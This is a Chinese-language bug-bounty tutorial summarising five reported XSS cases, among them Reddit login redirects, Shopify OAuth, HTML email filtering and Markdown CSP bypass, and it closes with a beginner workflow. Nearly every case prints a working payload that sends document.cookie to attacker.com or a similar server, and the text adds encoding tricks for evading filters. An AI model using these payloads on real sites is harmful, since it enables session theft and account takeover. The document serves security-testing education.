XSS 是最常见、也最容易被忽视的漏洞类型。复杂的 Payload 并不是重点,关键在于找到 开发者忘了验证的地方。下面我整理了 5 个真实案例(来自不同顶级白帽的战报),带你一步步理解攻击思路、Payload 构造与经验总结。
POC 1:文件上传 XSS + CSRF 绕过
利用点:客服聊天中的文件上传接口(POST /upload_file
)。
关键特征:请求里没有 CSRF Token。
Payload:
"><imgsrc=1onerror="
url=String.fromCharCode(104,116,116,112,...); // 攻击者URL转ASCII
xhttp=new XMLHttpRequest();
xhttp.open('GET',url+document.cookie,true);
xhttp.send();
">
执行步骤:
上传恶意文件名
客服打开聊天 → Payload 自动执行
攻击者窃取客服 Cookie
影响:客服后台账号完全被接管。
经验:
文件上传几乎是 XSS 的富矿
onerror
无需交互就能触发ASCII 编码能绕过关键词过滤
POC 2:跳转参数 XSS
利用点:登录后的跳转参数(dest
, redirect_uri
等)。
示例:
https://accounts.reddit.com/?dest=TEST
Payload:
https://accounts.reddit.com/?dest=javascript:fetch('//attacker.com?c='+btoa(document.cookie))
执行步骤:
攻击者发送恶意登录链接
受害者完成登录 → Payload 在跳转时触发
Session Token 被传到攻击者服务器
影响:用户账号直接被劫持。
经验:
javascript:
在认证后的跳转里依旧有效一定要重点测试认证流程的参数
POC 3:邮件过滤绕过 XSS
利用点:HTML 邮件处理系统。
关键特征:
CSS url(cid://)
被解析为 HTML。
Payload:
<style>
url(cid://\00003c\000073\000063\000072\000069\000070\000074\00003e
fetch('//attacker.com?'+document.cookie)
\00003c\00002f\000073\000063\000072\000069\000070\000074\00003e);
</style>
(\00003c
= <
的八进制编码)
执行步骤:
发送恶意原始邮件
受害者打开邮件 → JS 执行
攻击者劫持邮箱转发规则
影响:邮箱账号沦陷,邮件内容和规则全被篡改。
经验:
八进制/十六进制能绕过 HTML 过滤
CSS url()
也能触发脚本必须用 原始 HTML 测试邮件客户端
POC 4:OAuth 流程 XSS
利用点:OAuth 登录流程的回调参数。
示例:
/services/login/identity?google_apps_uri=...
Payload:
https://app.shopify.com/services/login/identity?google_apps_uri=javascript:fetch('//attacker.com?c='+document.cookie)
执行步骤:
攻击者诱导后台员工点击恶意链接
员工用 Google 登录 → 中途 Payload 执行
管理员 Cookie 被盗
影响:整家 Shopify 商店被接管。
经验:
所有 OAuth 回调参数必须测试
javascript:
在第三方认证流程依然能用员工账号是高价值目标
POC 5:Markdown XSS + CSP 绕过
利用点:Markdown 编辑器(如 Issues、Wiki)。
关键特征:允许
data-sourcepos
这类 HTML 属性。
Payload:
<predata-sourcepos=""%22 href="x"></pre>
<basehref="https://attacker.com"> <!-- 劫持资源加载 -->
<prex="">
<code></code></pre>
执行步骤:
在 Issue 描述中提交 Payload
受害者查看 Issue → 从攻击者域名加载脚本
恶意 JS 在带 CSP nonce 的环境中成功执行
影响:完整账号接管 + SSO 系统一并失陷。
经验:
<base>
标签是 CSP 绕过利器混乱的 HTML 容易迷惑过滤器
缺失的资源加载点也是突破口
给新手的工作流
找输入点:文件上传、跳转、邮件、OAuth、UGC(用户生成内容)。
先试简单 Payload:
"><imgsrc=xonerror=alert(1)> <!-- 文件名 -->
javascript:alert(1) <!-- 跳转参数 -->
再想办法绕过:
垃圾属性:
data-x=""
编码:八进制/十六进制
<base>
标签配合 CSP 绕过
最后利用:
fetch('https://yourserver?c='+document.cookie)
优先测试 登录后的流程
✨ 总结
XSS 不在于写出多花哨的 Payload,而在于开发者遗漏了什么验证。